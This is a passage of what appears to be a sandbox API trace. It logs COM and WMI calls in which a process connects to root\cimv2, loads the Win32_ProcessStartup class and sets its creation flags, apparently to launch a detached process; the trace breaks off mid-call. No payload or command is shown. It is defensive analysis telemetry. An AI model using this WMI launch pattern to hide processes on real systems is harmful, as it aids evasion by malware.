WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6ff80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0163.729] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc6ff80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc6fcc0) returned 0x0 [0163.729] WbemLocator:IUnknown:Release (This=0x1bc6ff80) returned 0x0 [0163.729] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fcc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc6fcc0) returned 0x0 [0163.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fcc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0163.730] WbemLocator:IUnknown:AddRef (This=0x1bc6fcc0) returned 0x3 [0163.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fcc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0163.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fcc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0163.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fcc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0163.730] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0163.730] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0163.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fcc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0163.730] WbemLocator:IUnknown:Release (This=0x1bc6fcc0) returned 0x2 [0163.730] WbemLocator:IUnknown:Release (This=0x1bc6fcc0) returned 0x1 [0163.730] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0163.730] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0163.730] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fcc0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc6fcc0) returned 0x0 [0163.730] WbemLocator:IUnknown:AddRef (This=0x1bc6fcc0) returned 0x3 [0163.730] WbemLocator:IUnknown:Release (This=0x1bc6fcc0) returned 0x2 [0163.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94cf0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.731] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0163.731] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.731] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc6fce0) returned 0x0 [0163.731] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc6fce0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc36b10) returned 0x0 [0163.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36b10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc42ce0) returned 0x0 [0163.955] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42ce0, pProxy=0x1bc36b10, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0163.955] WbemLocator:IUnknown:Release (This=0x1bc42ce0) returned 0x1 [0163.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36b10, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42d20) returned 0x0 [0163.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36b10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc42ce0) returned 0x0 [0163.955] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42ce0, pProxy=0x1bc36b10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0163.955] WbemLocator:IUnknown:Release (This=0x1bc42ce0) returned 0x2 [0163.955] WbemLocator:IUnknown:Release (This=0x1bc42d20) returned 0x1 [0163.955] CoTaskMemFree (pv=0x1bcc2f20) [0163.955] WbemLocator:IUnknown:AddRef (This=0x1bc36b10) returned 0x2 [0163.955] WbemLocator:IUnknown:Release (This=0x1bc6fce0) returned 0x0 [0163.956] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0163.956] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0163.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36b10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc42cf0) returned 0x0 [0163.956] WbemLocator:IRpcOptions:Query (in: This=0x1bc42cf0, pPrx=0x1bc6fb00, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0163.956] WbemLocator:IUnknown:Release (This=0x1bc42cf0) returned 0x2 [0163.956] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0163.956] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0163.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36b10, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc36b10) returned 0x0 [0163.956] WbemLocator:IUnknown:Release (This=0x1bc36b10) returned 0x2 [0163.956] SysStringLen (param_1=0x0) returned 0x0 [0163.957] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0163.957] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0163.957] IWbemServices:GetObject (in: This=0x1bc36b10, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa22dd0, ppCallResult=0x0) returned 0x0 [0163.959] IWbemClassObject:Get (in: This=0x1aa22dd0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0163.959] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0163.959] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0163.959] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0163.959] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0163.959] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0163.959] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.962] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc6fce0) returned 0x0 [0163.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fce0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0163.962] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fce0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc94c30) returned 0x0 [0163.962] WbemDefPath:IUnknown:Release (This=0x1bc6fce0) returned 0x0 [0163.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc94c30) returned 0x0 [0163.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0163.962] WbemDefPath:IUnknown:AddRef (This=0x1bc94c30) returned 0x3 [0163.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0163.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0163.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc6ff60) returned 0x0 [0163.963] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6ff60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.963] WbemDefPath:IUnknown:Release (This=0x1bc6ff60) returned 0x3 [0163.963] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0163.963] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0163.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0163.963] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x2 [0163.963] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x1 [0163.963] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0163.963] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0163.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc94c30) returned 0x0 [0163.963] WbemDefPath:IUnknown:AddRef (This=0x1bc94c30) returned 0x3 [0163.963] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x2 [0163.963] WbemDefPath:IWbemPath:SetText (This=0x1bc94c30, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0163.963] IWbemClassObject:Get (in: This=0x1aa22dd0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ec4f8*=0, plFlavor=0x27ec4fc*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ec4f8*=19, plFlavor=0x27ec4fc*=0) returned 0x0 [0163.963] IWbemClassObject:Get (in: This=0x1aa22dd0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ec4f8*=19, plFlavor=0x27ec4fc*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ec4f8*=19, plFlavor=0x27ec4fc*=0) returned 0x0 [0163.964] IWbemClassObject:Put (This=0x1aa22dd0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0163.964] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94f30, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0163.964] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.964] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0163.964] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.964] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0163.964] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0163.964] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0163.964] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.966] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc6f980) returned 0x0 [0163.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f980, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0163.966] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f980, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc94ab0) returned 0x0 [0163.967] WbemDefPath:IUnknown:Release (This=0x1bc6f980) returned 0x0 [0163.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc94ab0) returned 0x0 [0163.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0163.967] WbemDefPath:IUnknown:AddRef (This=0x1bc94ab0) returned 0x3 [0163.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0163.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0163.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc6f9a0) returned 0x0 [0163.967] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f9a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.967] WbemDefPath:IUnknown:Release (This=0x1bc6f9a0) returned 0x3 [0163.967] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0163.967] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0163.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0163.967] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x2 [0163.967] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x1 [0163.968] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0163.968] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0163.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc94ab0) returned 0x0 [0163.968] WbemDefPath:IUnknown:AddRef (This=0x1bc94ab0) returned 0x3 [0163.968] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x2 [0163.968] WbemDefPath:IWbemPath:SetText (This=0x1bc94ab0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0163.968] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0163.968] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0163.968] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.968] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0163.968] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0163.968] IUnknown:QueryInterface (in: This=0x1a943398, 